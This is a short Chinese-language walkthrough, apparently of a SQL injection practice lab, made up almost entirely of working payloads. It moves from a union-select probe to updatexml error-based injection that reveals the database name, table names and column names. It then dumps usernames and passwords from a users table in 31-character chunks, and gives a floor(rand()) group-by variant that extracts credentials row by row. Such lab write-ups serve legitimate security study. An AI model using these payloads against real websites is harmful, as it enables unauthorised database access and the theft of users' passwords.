先使用联合查询看看?id=1' union select 1,2,3--+
因为无回显,所以尝试updatexml报错注入
?id=1' and updatexml(1,concat(0x5e,database(),0x5e),1) --+
得到数据库名字为security
爆列表:?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+
我们看到了users,接下来就是查询users的列名:?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
接下来就是查询username和password ?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) --+
由于每次只能显示31个字符,我们每次需要加31
?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),32)),0x5e),1) --+
也可以使用concat函数
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
修改limit x,1里的x可以得知x用户的用户名和密码